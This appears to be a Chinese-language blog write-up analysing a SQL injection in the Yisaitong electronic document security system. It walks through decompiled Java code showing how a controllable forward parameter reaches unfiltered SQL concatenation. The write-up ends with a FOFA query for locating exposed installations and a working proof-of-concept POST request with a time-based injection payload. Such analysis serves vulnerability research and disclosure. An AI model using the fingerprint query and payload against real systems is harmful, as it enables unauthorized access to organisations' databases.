某通电子文档安全管理系统是一款综合性的数据智能安全产品,涵盖了透明加密、数据分类分级、访问控制等多项核心技术。该系统保护范围广泛,包括终端电脑、智能终端以及各类应用系统,能有效防止数据泄露,满足数据安全合规要求。在LogDownLoadService中因为重定向的参数可控导致了sql注入的形成
version<V5.6.3.152.179_116511
首先进入WEB-INF
的web.xml
中,ctrl+f
搜索LogDownLoadService
ctrl
点击进入该类中,发现该类继承了HttpServlet
,那么我们就找其与前端交互的方法service()
分析:
对service方法进行分析,首先是接收请求中的command参数;判断command
是否为空,若不为空判断command
值为downLoadLogFiles
还是为delLogTask
,根据command
的值的不同调用不同的方法
首先分析delLogTask
方法,这是一个删除日志任务的方法
分析:
protected void delLogTask(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
request.setCharacterEncoding("GBK");//对请求的内容进行gbk编码
response.setContentType("text/html; charset=GBK");//设置MIME类型
ReadProperties rp \= I18nUtil.getReadProperties(request.getSession());//获取session并且赋值给一个 ReadProperties对象
PrintWriter printWriter \= response.getWriter();//向HTTP响应的正文中写入文本。
String logTaskId \= request.getParameter("logTaskId");//从请求中获取logTaskId参数
if (logTaskId \== null) {//判断参数是否为空
logTaskId \= "";
}
LogTaskDao logTaskDao \= new LogTaskDao();//创建一个LogTaskDao对象
LogTaskInfo logTaskInfo \= logTaskDao.findLogTaskById(logTaskId);//使用findLogTaskById方法查看logTaskId是否存在
if (logTaskInfo != null) {//如果logTaskInfo不为空就创建一个File对象
File file \= new File(LogTaskUtil.getLogFile(logTaskInfo.getLogFileName()));
if (file.exists()) {//判断文件是否存在
LogTaskUtil.delFile(file);//删除文件
}
}
logTaskDao.delLogTask(logTaskId);
printWriter.append(rp.getString("log.service.delete.success"));//向响应中写入内容
}
}
接着分析downLogFile
方法
分析:
protected void downLoadLogFiles(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
//依次接收请求中的currPage、fromurl、logFileName参数
String currPage \= request.getParameter("currPage");
String fromurl \= request.getParameter("fromurl");
String logFileName \= request.getParameter("logFileName");
//接收session赋值给ReadProperties对象
ReadProperties rp \= I18nUtil.getReadProperties(request.getSession());
//对logFilename的取值进行判断
if (logFileName \== null) {
logFileName \= "";
} else {
logFileName \= new String(logFileName.getBytes("ISO\_8859\_1"), "GBK");//,将logFileName字符串按照ISO-8859-1(Latin-1)编码转换成字节序列,再将其转换为GBK编码的字符串
}
String fileName \= LogTaskUtil.getLogFile(logFileName);
String logName \= LogTaskUtil.getLogFileName(logFileName);
if (fileName.indexOf("../") <= 0 && fileName.indexOf("..") <= 0) {
//若fileName中不存在../或者..那么进行如下内容
//依次通过正则对configfilepath、newfilepath进行赋值
String configfilepath \= Constant.instance.LOGMANAGERPATH.replace("/", "").replace("\\\\", "");
String newfilepath \= fileName.replace("/", "").replace("\\\\", "");
if (fileName != null && newfilepath.indexOf(configfilepath) \>= 0 && fileName.indexOf("%") <= 0 && fileName.indexOf("CDocGuard Server") <= 0 && fileName.indexOf("CDocGuard%20Server") <= 0) {
File file \= new File(fileName);
boolean fileexists \= file.exists();//将file是否存在的返回值赋值给fileexists
long flagftp \= 2L;
String ftpNameString \= fileName.indexOf(":") != \-1 ? fileName.substring(4) : fileName;//若filename不存在:.那么就截取其下标为4一直到最后的字符串,反之就将整个字符串赋值给ftpNameString
if (!fileexists) {
flagftp \= service.downloadCheck(ftpNameString);//如果文件不存在,通过FTP下载文件
}
if (fileexists) {
LogTaskUtil.downFile(fileName, request, response, logName);//如果文件存在,则直接调用LogTaskUtil.downFile()方法下载文件。
} else if (flagftp \== 0L) {/
FTPClient ftpClient \= null;
InputStream in \= null;
OutputStream out \= response.getOutputStream();
try {
String ftpIp \= FtpProxy.ADDRESS.split("\\\\|")\[0\];
ftpClient \= FTPUtil.getFTPClient(ftpIp, FtpProxy.USERNAME, FtpProxy.PASSWORD);//方法获取FTP客户端连接。
ftpClient.enterLocalPassiveMode();
ftpClient.setFileType(2);//设置传输类型为二进制
ftpClient.setRemoteVerificationEnabled(false);
in \= ftpClient.retrieveFileStream(new String(ftpNameString.getBytes(this.encoding), "ISO8859-1"));//获取FTP文件的输入流
String userAgent \= request.getHeader("User-Agent");//
FileOper.downFile(logName, in, userAgent, response);//将内容输入到对象response中
} catch (Exception var29) {
Exception e \= var29;
e.printStackTrace();
} finally {
if (ftpClient != null && ftpClient.isConnected()) {
try {
ftpClient.disconnect();
} catch (IOException var28) {
}
}
if (in != null) {
in.close();
}
}
} else {
//如果文件未找到
request.setAttribute("fileNotFindMessage", rp.getString("log.manager.failmessage"));//设置错误信息
request.getRequestDispatcher("/logManagement/" + fromurl + "?curpage=" + currPage).forward(request, response);//跳转到指定的url页面中,其中这个fromurl参数是我们可以控制的
}
}
}
}
这段代码在实现日志文件下载功能方面,涵盖了从本地和FTP服务器获取日志文件的逻辑。我们发现当指定的logFileName也就是后面的filename没有找到的时候就会进入到else语句中,进而导致重定向,并且重定向的参数是我们可以控制的
在CDGServer3/user/dataSearch.jsp
中发现了有我们可以利用的点
分析:
String pId \= request.getParameter("id");//获取请求的id值
////依次创建了OrganiseStructModel对象、List列表、StringBuilder对象、OrganiseStructDao对象
OrganiseStructModel orgModel \= new OrganiseStructModel();
List<String\> stringList \= new ArrayList<String\>();
StringBuilder sb \= new StringBuilder("\[");
OrganiseStructDao osd \= new OrganiseStructDao();
OrganiseStructInfo info \= orgModel.findById(pId);//调用findById查询pid的值将其赋值给OrganiseStructInfo对象
int count;
String icon\="";
count \= osd.getChd(info.getOrganiseId());//获取查询结果的数目
boolean isLdap \= false;
//判断是否是LDAP数组
if(info.getField01()!=null&&info.getField05().toLowerCase().contains("ldap")){
isLdap \= true;
}
//如何pId为0,那么就设置图表
if("0".equals(pId)){
info.setOrganiseName(rp.getString(info.getOrganiseName()));
icon\="../tree/img/globe2.gif";
}else{
icon\="../tree/img/folder.png";
}
//将从数据库中查询到的内容拼接到JSON字符串中
if(isLdap){
if(count\==0){
sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"("+rp.getString("zzry.yz")+")"+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:false,isEpd:false},");
}else{
sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"("+rp.getString("zzry.yz")+")"+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:true,isEpd:false},");
}
}else{
if(count\==0){
sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:false,isEpd:false},");
}else{
sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:true,isEpd:false},");
}
}
String tmp \= sb.toString();//将sb的内容赋值给tmp
tmp \= tmp.endsWith(",")?tmp.substring(0,tmp.length()\-1):tmp;//如果拼接的JSON字符串最后一个字符是逗号,将其移除。
tmp+="\]";
out.println(tmp); //输出最终结果
该代码就是在数据库中查询id值并将结果输出,那么我们就进入到orgModel.findById
方法中查看是否有过滤
分析:
在该方法中创建了一个OrganiseStructInfo
对象,并且调用了 organiseStructDao
下的findById
方法。
我们ctrl进入该方法
分析:
该方法直接将传过来的参数进行了sql语句的拼接,直接调用getCommonResult
方法执行sql语句没有任何过滤,并将结果返回,这就造成了sql注入
那么我们就就可以通过重定向跳转到该页面进行sql注入
fofa
app="亿赛通-电子文档安全管理系统"
poc
POST /CDGServer3/logManagement/LogDownLoadService HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
command=downLoadLogFiles&currPage=1&fromurl=../user/dataSearch.jsp&logFileName=indsex.txt&id=-1';WAITFOR DELAY '0:0:6'--
该漏洞的形成的原因就是因为在LogDownLoadService中,当请求中的logFileName
满足某一标准后可以进行url的重定向,并且重定向的参数是我们可以控制的,并且我们利用重定向跳转的页面中存在sql语句的执行并且参数可以控制没有任何过滤从而造成了漏洞形成
3 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!